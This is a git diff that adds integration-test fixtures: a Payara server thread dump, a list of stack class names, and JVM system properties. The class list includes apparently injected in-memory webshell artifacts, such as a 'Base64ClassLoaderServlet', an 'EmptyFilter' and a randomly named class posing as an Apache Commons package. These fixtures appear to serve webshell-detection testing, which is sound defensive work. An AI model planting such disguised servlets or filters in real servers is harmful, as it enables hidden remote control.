java.lang.Thread.run(Thread.java:750) + +"hz.flamboyant_pascal.MetricsRegistry.thread-1" #67 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@392d8b57 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2083) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1093) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"hz.flamboyant_pascal.response-0" #39 daemon [WAITING] + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:304) + at com.hazelcast.internal.util.concurrent.MPSCQueue.takeAll(MPSCQueue.java:229) + at com.hazelcast.internal.util.concurrent.MPSCQueue.take(MPSCQueue.java:151) + at com.hazelcast.spi.impl.operationservice.impl.InboundResponseHandlerSupplier$ResponseThread.doRun(InboundResponseHandlerSupplier.java:295) + at com.hazelcast.spi.impl.operationservice.impl.InboundResponseHandlerSupplier$ResponseThread.executeRun(InboundResponseHandlerSupplier.java:284) + at com.hazelcast.internal.util.executor.HazelcastManagedThread.run(HazelcastManagedThread.java:102) + +"JMS_PROXY_default_JMS_host-kernel(1) SelectorRunner" #136 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) + at org.glassfish.grizzly.nio.DefaultSelectorHandler.select(DefaultSelectorHandler.java:90) + at org.glassfish.grizzly.nio.SelectorRunner.doSelect(SelectorRunner.java:315) + at org.glassfish.grizzly.nio.SelectorRunner.run(SelectorRunner.java:255) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:569) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:549) + at java.lang.Thread.run(Thread.java:750) + +"GF Domain XML" #107 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@21c44707 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"GFFileHandler log pump" #33 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@21938803 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2044) + at java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:403) + at com.sun.enterprise.server.logging.GFFileHandler.log(GFFileHandler.java:947) + at com.sun.enterprise.server.logging.GFFileHandler$1.run(GFFileHandler.java:581) + +"hz.flamboyant_pascal.partition-operation.thread-2" #43 daemon [WAITING] + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:304) + at com.hazelcast.internal.util.concurrent.MPSCQueue.takeAll(MPSCQueue.java:229) + at com.hazelcast.internal.util.concurrent.MPSCQueue.take(MPSCQueue.java:151) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationQueueImpl.take(OperationQueueImpl.java:85) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationThread.executeRun(OperationThread.java:118) + at com.hazelcast.internal.util.executor.HazelcastManagedThread.run(HazelcastManagedThread.java:102) + +"http-thread-pool::http-listener-1(5)" #92 daemon [WAITING] on java.util.concurrent.LinkedTransferQueue@2e904c67 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.LinkedTransferQueue.awaitMatch(LinkedTransferQueue.java:737) + at java.util.concurrent.LinkedTransferQueue.xfer(LinkedTransferQueue.java:647) + at java.util.concurrent.LinkedTransferQueue.take(LinkedTransferQueue.java:1269) + at org.glassfish.grizzly.threadpool.FixedThreadPool$BasicWorker.getTask(FixedThreadPool.java:81) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:561) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:549) + at java.lang.Thread.run(Thread.java:750) + +"hz.flamboyant_pascal.TcpServer.thread-2" #83 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@5b0161e4 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2044) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1088) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"http-thread-pool::http-listener-1(4)" #91 daemon [WAITING] on java.util.concurrent.LinkedTransferQueue@2e904c67 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.LinkedTransferQueue.awaitMatch(LinkedTransferQueue.java:737) + at java.util.concurrent.LinkedTransferQueue.xfer(LinkedTransferQueue.java:647) + at java.util.concurrent.LinkedTransferQueue.take(LinkedTransferQueue.java:1269) + at org.glassfish.grizzly.threadpool.FixedThreadPool$BasicWorker.getTask(FixedThreadPool.java:81) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:561) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:549) + at java.lang.Thread.run(Thread.java:750) + +"EventAdminAsyncThread #5" #148 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@2bec12e7 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2044) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"hz.flamboyant_pascal.partition-operation.thread-3" #44 daemon [WAITING] + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:304) + at com.hazelcast.internal.util.concurrent.MPSCQueue.takeAll(MPSCQueue.java:229) + at com.hazelcast.internal.util.concurrent.MPSCQueue.take(MPSCQueue.java:151) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationQueueImpl.take(OperationQueueImpl.java:85) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationThread.executeRun(OperationThread.java:118) + at com.hazelcast.internal.util.executor.HazelcastManagedThread.run(HazelcastManagedThread.java:102) + +"RunLevelControllerThread-1754845034607" #30 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferQueue@7b58604e + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferQueue.awaitFulfill(SynchronousQueue.java:764) + at java.util.concurrent.SynchronousQueue$TransferQueue.transfer(SynchronousQueue.java:695) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"hz.flamboyant_pascal.partition-operation.thread-8" #49 daemon [WAITING] + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:304) + at com.hazelcast.internal.util.concurrent.MPSCQueue.takeAll(MPSCQueue.java:229) + at com.hazelcast.internal.util.concurrent.MPSCQueue.take(MPSCQueue.java:151) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationQueueImpl.take(OperationQueueImpl.java:85) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationThread.executeRun(OperationThread.java:118) + at com.hazelcast.internal.util.executor.HazelcastManagedThread.run(HazelcastManagedThread.java:102) + +"hz.flamboyant_pascal.event-4" #62 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@726ca1b5 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2044) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.hazelcast.internal.util.executor.StripedExecutor$Worker.run(StripedExecutor.java:227) + +"FelixResolver-4" #17 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@4a44909c + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2083) + at java.util.concurrent.LinkedBlockingQueue.poll(LinkedBlockingQueue.java:467) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"GF Domain XML" #109 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@21c44707 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"RunLevelControllerThread-1754845034604" #28 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferQueue@7b58604e + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferQueue.awaitFulfill(SynchronousQueue.java:764) + at java.util.concurrent.SynchronousQueue$TransferQueue.transfer(SynchronousQueue.java:695) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"hz.flamboyant_pascal.IO.thread-out-0" #77 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) + at com.hazelcast.internal.networking.nio.NioThread.selectLoop(NioThread.java:292) + at com.hazelcast.internal.networking.nio.NioThread.executeRun(NioThread.java:249) + at com.hazelcast.internal.util.executor.HazelcastManagedThread.run(HazelcastManagedThread.java:102) + +"Executor-Service-2" #122 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@67230209 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"FelixResolver-10" #25 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@4a44909c + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2083) + at java.util.concurrent.LinkedBlockingQueue.poll(LinkedBlockingQueue.java:467) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"Executor-Service-9" #129 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@67230209 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"payara-executor-service-task" #114 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@30aaddc5 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2044) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"hz.flamboyant_pascal.response-1" #40 daemon [WAITING] + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:304) + at com.hazelcast.internal.util.concurrent.MPSCQueue.takeAll(MPSCQueue.java:229) + at com.hazelcast.internal.util.concurrent.MPSCQueue.take(MPSCQueue.java:151) + at com.hazelcast.spi.impl.operationservice.impl.InboundResponseHandlerSupplier$ResponseThread.doRun(InboundResponseHandlerSupplier.java:295) + at com.hazelcast.spi.impl.operationservice.impl.InboundResponseHandlerSupplier$ResponseThread.executeRun(InboundResponseHandlerSupplier.java:284) + at com.hazelcast.internal.util.executor.HazelcastManagedThread.run(HazelcastManagedThread.java:102) + +"FelixResolver-11" #26 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@4a44909c + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2083) + at java.util.concurrent.LinkedBlockingQueue.poll(LinkedBlockingQueue.java:467) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"hz.flamboyant_pascal.TcpServer.thread-3" #84 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@5b0161e4 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2044) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1088) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"Reference Handler" #2 daemon [WAITING] on java.lang.ref.Reference$Lock@1dbdfab9 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at java.lang.ref.Reference.tryHandlePending(Reference.java:191) + at java.lang.ref.Reference$ReferenceHandler.run(Reference.java:153) + +"hz.flamboyant_pascal.SlowOperationDetectorThread" #58 daemon [TIMED_WAITING] + java.lang.Thread.State: TIMED_WAITING + at java.lang.Thread.sleep(Native Method) + at java.lang.Thread.sleep(Thread.java:342) + at java.util.concurrent.TimeUnit.sleep(TimeUnit.java:386) + at com.hazelcast.spi.impl.operationexecutor.slowoperationdetector.SlowOperationDetector$DetectorThread.sleepInterval(SlowOperationDetector.java:289) + at com.hazelcast.spi.impl.operationexecutor.slowoperationdetector.SlowOperationDetector$DetectorThread.run(SlowOperationDetector.java:154) + +"hz.flamboyant_pascal.partition-operation.thread-9" #50 daemon [WAITING] + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:304) + at com.hazelcast.internal.util.concurrent.MPSCQueue.takeAll(MPSCQueue.java:229) + at com.hazelcast.internal.util.concurrent.MPSCQueue.take(MPSCQueue.java:151) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationQueueImpl.take(OperationQueueImpl.java:85) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationThread.executeRun(OperationThread.java:118) + at com.hazelcast.internal.util.executor.HazelcastManagedThread.run(HazelcastManagedThread.java:102) + +"ForkJoinPool.commonPool-worker-9" #87 daemon [TIMED_WAITING] on java.util.concurrent.ForkJoinPool@6f494de + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.ForkJoinPool.awaitWork(ForkJoinPool.java:1824) + at java.util.concurrent.ForkJoinPool.runWorker(ForkJoinPool.java:1693) + at java.util.concurrent.ForkJoinWorkerThread.run(ForkJoinWorkerThread.java:175) + + +=========================================== + +StackClassNames: +Base64ClassLoaderServlet +EmptyFilter +com.hazelcast.internal.diagnostics.HealthMonitor$HealthMonitorThread +com.hazelcast.internal.networking.nio.NioThread +com.hazelcast.internal.networking.nio.iobalancer.IOBalancerThread +com.hazelcast.internal.partition.impl.MigrationQueue +com.hazelcast.internal.partition.impl.MigrationThread +com.hazelcast.internal.server.tcp.TcpServerAcceptor$AcceptorIOThread +com.hazelcast.internal.util.concurrent.MPSCQueue +com.hazelcast.internal.util.executor.CachedExecutorServiceDelegate$Worker +com.hazelcast.internal.util.executor.HazelcastManagedThread +com.hazelcast.internal.util.executor.StripedExecutor$Worker +com.hazelcast.internal.util.phonehome.CloudInfoCollector +com.hazelcast.internal.util.phonehome.MetricsCollector +com.hazelcast.internal.util.phonehome.PhoneHome +com.hazelcast.internal.util.phonehome.PhoneHome$$Lambda$1266/1665154698 +com.hazelcast.spi.impl.executionservice.impl.DelegateAndSkipOnConcurrentExecutionDecorator$DelegateDecorator +com.hazelcast.spi.impl.operationexecutor.impl.OperationQueueImpl +com.hazelcast.spi.impl.operationexecutor.impl.OperationThread +com.hazelcast.spi.impl.operationexecutor.slowoperationdetector.SlowOperationDetector$DetectorThread +com.hazelcast.spi.impl.operationparker.impl.OperationParkerImpl$ExpirationTask +com.hazelcast.spi.impl.operationservice.impl.InboundResponseHandlerSupplier$ResponseThread +com.hazelcast.sql.impl.state.QueryStateRegistryUpdater$Worker +fish.payara.nucleus.notification.NotifierHandler +fish.payara.nucleus.notification.NotifierHandler$$Lambda$1632/1353093587 +fish.payara.nucleus.phonehome.PhoneHomeTask +org.apache.catalina.connector.CoyoteAdapter +org.apache.catalina.connector.CoyoteWriter +org.apache.catalina.core.ApplicationFilterChain +org.apache.catalina.core.ContainerBase$ContainerBackgroundProcessor +org.apache.catalina.core.StandardContextValve +org.apache.catalina.core.StandardHostValve +org.apache.catalina.core.StandardPipeline +org.apache.catalina.core.StandardWrapper +org.apache.catalina.core.StandardWrapperValve +org.apache.commons.SWzXl.ErrorHandler +org.apache.felix.cm.impl.UpdateThread +org.apache.felix.fileinstall.internal.DirectoryWatcher +org.apache.felix.framework.EventDispatcher +org.apache.felix.framework.EventDispatcher$1 +org.apache.felix.framework.FrameworkStartLevelImpl +org.apache.felix.framework.FrameworkWiringImpl +org.apache.felix.scr.impl.ComponentActorThread +org.glassfish.grizzly.ProcessorExecutor +org.glassfish.grizzly.filterchain.DefaultFilterChain +org.glassfish.grizzly.filterchain.ExecutorResolver$9 +org.glassfish.grizzly.http.server.HttpHandler +org.glassfish.grizzly.http.server.HttpServerFilter +org.glassfish.grizzly.nio.DefaultSelectorHandler +org.glassfish.grizzly.nio.SelectorRunner +org.glassfish.grizzly.nio.transport.TCPNIOTransport +org.glassfish.grizzly.strategies.AbstractIOStrategy +org.glassfish.grizzly.strategies.WorkerThreadIOStrategy +org.glassfish.grizzly.strategies.WorkerThreadIOStrategy$WorkerThreadRunnable +org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker +org.glassfish.grizzly.threadpool.FixedThreadPool$BasicWorker +org.glassfish.grizzly.threadpool.SyncThreadPool$SyncThreadWorker +org.glassfish.grizzly.utils.DelayedExecutor$DelayedRunnable +org.jvnet.hk2.config.Transactions$Notifier$1 diff --git a/integration-test/src/test/resources/infos/Payara620222ContainerTestBasicInfo.txt b/integration-test/src/test/resources/infos/Payara620222ContainerTestBasicInfo.txt new file mode 100644 index 00000000..e5374e3a --- /dev/null +++ b/integration-test/src/test/resources/infos/Payara620222ContainerTestBasicInfo.txt @@ -0,0 +1,1821 @@ +# Generated At 2025-08-10 16:57:35 +SystemProps: +javax.xml.accessExternalSchema: all +awt.toolkit: sun.awt.X11.XToolkit +jdk.tls.rejectClientInitiatedRenegotiation: true +java.specification.version: 11 +jdk.corba.allowOutputStreamSubclass: true +sun.cpu.isalist: +sun.jnu.encoding: UTF-8 +javax.net.ssl.trustStorePassword: changeit +com.sun.aas.installRoot: /usr/local/payara6/glassfish +sun.arch.data.model: 64 +sun.font.fontmanager: sun.awt.X11FontManager +java.vendor.url: http://www.azul.com/ +com.sun.aas.productRoot: /usr/local/payara6 +catalina.useNaming: false +org.omg.CORBA.ORBSingletonClass: com.sun.corba.ee.impl.orb.ORBSingleton +sun.boot.library.path: /usr/lib/jvm/zulu11-ca-arm64/lib +sun.java.command: com.sun.enterprise.glassfish.bootstrap.ASMain -upgrade false -domaindir /usr/local/payara6/glassfish/domains/domain1 -read-stdin true -asadmin-args --host,,,localhost,,,--port,,,4848,,,--user,,,admin,,,--passwordfile,,,/usr/local/passwordFile,,,--secure=false,,,--terse=false,,,--extraterse=false,,,--echo=false,,,--interactive=false,,,--autoname=false,,,start-domain,,,--verbose=false,,,--watchdog=false,,,--debug=false,,,--domaindir,,,/usr/local/payara6/glassfish/domains,,,domain1 -domainname domain1 -instancename server -type DAS -verbose false -asadmin-classpath /usr/local/payara6/glassfish/lib/client/appserver-cli.jar -debug false -asadmin-classname com.sun.enterprise.admin.cli.AdminMain -watchdog false +jdk.debug: release +java.specification.vendor: Oracle Corporation +gosh.args: --nointeractive +java.version.date: 2024-10-15 +java.home: /usr/lib/jvm/zulu11-ca-arm64 +com.sun.enterprise.security.httpsOutboundKeyAlias: s1as +file.separator: / +org.jboss.weld.serialization.beanIdentifierIndexOptimization: false +java.vm.compressedOopsMode: 32-bit +line.separator: + +javax.rmi.CORBA.StubClass: com.sun.corba.ee.impl.javax.rmi.CORBA.StubDelegateImpl +java.specification.name: Java Platform API Specification +java.vm.specification.vendor: Oracle Corporation +osgi.shell.telnet.ip: 127.0.0.1 +jdk.attach.allowAttachSelf: true +jdk.vendor.version: Zulu11.76+21-CA +simple.jacc.provider.JACCRoleMapper.class: com.sun.enterprise.security.web.integration.GlassfishRoleMapper +javax.rmi.CORBA.UtilClass: com.sun.corba.ee.impl.javax.rmi.CORBA.Util +jdbc.drivers: org.h2.Driver +javax.net.ssl.trustStore: /usr/local/payara6/glassfish/domains/domain1/config/cacerts.jks +java.util.logging.config.file: /usr/local/payara6/glassfish/domains/domain1/config/logging.properties +sun.management.compiler: HotSpot 64-Bit Tiered Compilers +java.runtime.version: 11.0.25+9-LTS +GlassFish_Platform: Felix +user.name: root +AS_CONFIG: /usr/local/payara6/glassfish/config/../config +felix.fileinstall.poll: 5000 +java.security.policy: /usr/local/payara6/glassfish/domains/domain1/config/server.policy +com.sun.enterprise.config.config_environment_factory_class: com.sun.enterprise.config.serverbeans.AppserverConfigEnvironmentFactory +felix.fileinstall.log.level: 2 +file.encoding: UTF-8 +fish.payara.aas.h2Root: /usr/local/payara6/h2db +com.sun.aas.imqLib: /usr/local/payara6/mq/lib +java.vendor.version: Zulu11.76+21-CA +AS_IMQ_BIN: /usr/local/payara6/glassfish/config/../../mq/bin +java.io.tmpdir: /tmp +java.version: 11.0.25 +java.vm.specification.name: Java Virtual Machine Specification +com.sun.aas.instanceRoot: /usr/local/payara6/glassfish/domains/domain1 +java.awt.printerjob: sun.print.PSPrinterJob +sun.os.patch.level: unknown +java.library.path: /usr/local/payara6/glassfish/lib:/usr/java/packages/lib:/lib:/usr/lib:/usr/lib64:/lib64 +java.vendor: Azul Systems, Inc. +ANTLR_USE_DIRECT_CLASS_LOADING: true +java.specification.maintenance.version: 3 +java.rmi.server.randomIDs: true +sun.io.unicode.encoding: UnicodeLittle +AS_DEF_DOMAINS_PATH: /usr/local/payara6/glassfish/config/../domains +felix.fileinstall.dir: /usr/local/payara6/glassfish/modules/autostart/ +java.class.path: /usr/local/payara6/glassfish/domains/domain1/lib/ext/*:/usr/local/payara6/glassfish/modules/glassfish.jar 